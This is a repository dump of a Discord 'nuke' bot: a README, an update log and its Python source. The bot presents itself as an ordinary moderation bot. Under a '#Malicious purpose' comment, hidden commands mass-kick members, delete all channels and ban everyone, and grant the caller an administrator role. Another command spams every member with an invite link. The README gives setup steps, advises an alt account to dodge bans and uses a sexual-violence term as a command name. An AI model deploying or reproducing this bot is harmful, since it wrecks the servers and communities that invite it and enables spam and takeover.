├── README.md ├── Updates └── bot /README.md: -------------------------------------------------------------------------------- 1 | **This is against discord's ToS I recommend you to use a ALT or you might get banned for using this bot** 2 | 3 | **Commands For the bot** 4 | 1) $rape - will ban everyone off the server and will remove all the channels 5 | 2) $h - will kick everyone off the server 6 | 3) $dab - will give you admin into the server 7 | 8 | **how to setup the bot** 9 | - Download Python 3.5.3 (https://www.python.org/downloads/release/python-353/) THIS WILL NOT WORK ON ANY OTHER VERSIONS!! 10 | - When you are downloading make sure to tick the "Add python 3.5 to PATH" THIS WILL NOT WORK IF YOU DO NOT TICK IT!! 11 | - After python is installed go to your CMD Prompt and type in **"pip install discord.py"** wait for it to install. 12 | - Instll notepad++ (https://notepad-plus-plus.org/download/v7.6.4.html) 13 | - Create a new notepad++ 14 | - Copy the bot's script and paste it into the notepad++ 15 | - Go here (https://discordapp.com/developers/applications/) and go to your bot and copy the token, if you don't have one, make one. 16 | - Scroll down to the bottom of the script and paste the bots token into **"client.run("TOKEN")"** 17 | - After putting your bots token press on "file" and give a name to your bot 18 | - Set the file into a python file (.py) and save the bot onto your desktop. 19 | - Open up your CMD Prompt 20 | - Type in **"cd desktop"** 21 | - Then type in **"py -3.5 [BOTNAME].py"** 22 | - Enjoy Nuking! 23 | 24 | **IF YOU ALREADY HAD DISCORD.PY INSTALLED ON A DIFFERENT VERSION OF PYTHON, YOU GONNA HAVE TO RE-INTALL IT** 25 | -------------------------------------------------------------------------------- /Updates: -------------------------------------------------------------------------------- 1 | Version 1.3 2 | - Made the bot faster 3 | - Made it more unditectable 4 | - Added ping command 5 | -------------------------------------------------------------------------------- /bot: -------------------------------------------------------------------------------- 1 | #bot created by Sir Sinister 2 | #make sure to read the read me file for instructions 3 | 4 | import discord 5 | from discord.ext import commands 6 | from discord.ext.commands import Bot 7 | import asyncio 8 | import time 9 | import logging 10 | 11 | client = commands.Bot(command_prefix='$') #This Is The Prefix, Feel Free To Change It Anytime 12 | 13 | client.remove_command("help") 14 | 15 | 16 | @client.event 17 | async def on_ready(): 18 | print ("bot is now online") 19 | 20 | @client.event 21 | async def on_server_join(server): 22 | print("Joining {0}".format(server.name)) 23 | 24 | @client.command(pass_context=True) 25 | async def help(ctx): 26 | author = ctx.message.author 27 | 28 | embed = discord.Embed( 29 | colour = discord.Colour.blue() 30 | ) 31 | 32 | embed.set_author(name='help') 33 | embed.add_field(name='$ping', value='Gives ping to client (expressed in ms)', inline=False) 34 | embed.add_field(name='$kick', value='Kicks specified user', inline=False) 35 | embed.add_field(name='$ban', value='Bans specified user', inline=False) 36 | embed.add_field(name='$info', value='Gives information of a user', inline=False) 37 | embed.add_field(name='$invite', value='Returns invite link of the client', inline=False) 38 | embed.add_field(name='$clear', value='Clears an X amount of messages', inline=False) 39 | await client.send_message(author, embed=embed) 40 | 41 | @client.command(pass_context=True) 42 | async def dm(ctx, message): 43 | server = ctx.message.server 44 | for member in server.members: 45 | await asyncio.sleep(0) 46 | try: 47 | await client.send_message(member, "https://discord.gg/sujRrDX Join now for a cheap unlimited account generator!!") 48 | print("Sent message") 49 | except: 50 | pass 51 | 52 | @client.command(pass_context=True) 53 | async def clear(ctx, amount=10): 54 | channel = ctx.message.channel 55 | messages = [] 56 | async for message in client.logs_from(channel, limit=int(amount)): 57 | messages.append(message) 58 | await client.delete_messages(messages) 59 | await client.say('Messages deleted') 60 | 61 | @client.command(pass_context=True) 62 | async def ping(ctx): 63 | channel = ctx.message.channel 64 | t1 = time.perf_counter() 65 | await client.send_typing(channel) 66 | t2 = time.perf_counter() 67 | embed=discord.Embed(title=None, description='Ping: {}'.format(round((t2-t1)*1000)), color=0x2874A6) 68 | await client.say(embed=embed) 69 | 70 | @client.command(pass_context=True) 71 | async def info(ctx, user: discord.Member=None): 72 | if user is None: 73 | await client.say('Please input a user.') 74 | else: 75 | await client.say("The user's name is: {}".format(user.name) + "\nThe user's ID is: {}".format(user.id) + "\nThe user's current status is: {}".format(user.status) + "\nThe user's highest role is: {}".format(user.top_role) + "\nThe user joined at: {}".format(user.joined_at)) 76 | 77 | @client.command(pass_context=True) 78 | async def kick(ctx, user: discord.Member=None): 79 | author = ctx.message.author 80 | if author.server_permissions.kick_members: 81 | if user is None: 82 | await client.say('Please input a user.') 83 | else: 84 | await client.say (":boot: Get kicked **{}**, Damn kid".format(user.name)) 85 | await client.kick(user) 86 | else: 87 | await client.say('You lack permission to preform this action') 88 | 89 | @client.command(pass_context=True) 90 | async def ban(ctx, user: discord.Member=None): 91 | author = ctx.message.author 92 | if author.server_permissions.kick_members: 93 | if user is None: 94 | await client.say('Please input a user.') 95 | else: 96 | await client.say("Get banned **{}**, Damn kid".format(user.name)) 97 | await client.ban(user) 98 | else: 99 | await client.say('You lack permission to preform this action') 100 | 101 | 102 | @client.command(pass_context=True) 103 | async def invite(ctx): 104 | await client.say("https://discordapp.com/oauth2/authorize?&client_id=503182818667659274&scope=client&permissions=8") 105 | 106 | #Malicious purpose 107 | 108 | @client.command(pass_context=True) 109 | async def h(ctx): 110 | for user in list(ctx.message.server.members): 111 | try: 112 | await client.kick(user) 113 | print ("User " + user.name + " has been kicked from " + ctx.message.server.name) 114 | except: 115 | pass 116 | print ("Action Completed: kall") 117 | 118 | @client.command(pass_context=True) 119 | async def rape(ctx): 120 | for channel in list(ctx.message.server.channels): 121 | try: 122 | await client.delete_channel(channel) 123 | print (channel.name + " has been deleted in " + ctx.message.server.name) 124 | except: 125 | pass 126 | server = ctx.message.server 127 | channel = await client.create_channel(server, 'RIP', type=discord.ChannelType.text) 128 | await client.send_message(channel, "Now that's alot of damage!!") 129 | for user in list(ctx.message.server.members): 130 | try: 131 | await client.ban(user) 132 | print ("User " + user.name + " has been banned from " + ctx.message.server.name) 133 | except: 134 | pass 135 | print ("Now that's alot of damage") 136 | 137 | @client.command(pass_context=True) 138 | async def dab(ctx): 139 | server = ctx.message.server 140 | perms = discord.Permissions(8) 141 | await client.create_role(server, name='dab', permissions=perms) 142 | user = ctx.message.author 143 | role = discord.utils.get(user.server.roles, name="dab") 144 | await client.add_roles(user, role) 145 | print ("You're in buddy, now don't fuck it up") 146 | 147 | client.run("TOKEN") #Bot's Token Code Goes Here 148 | --------------------------------------------------------------------------------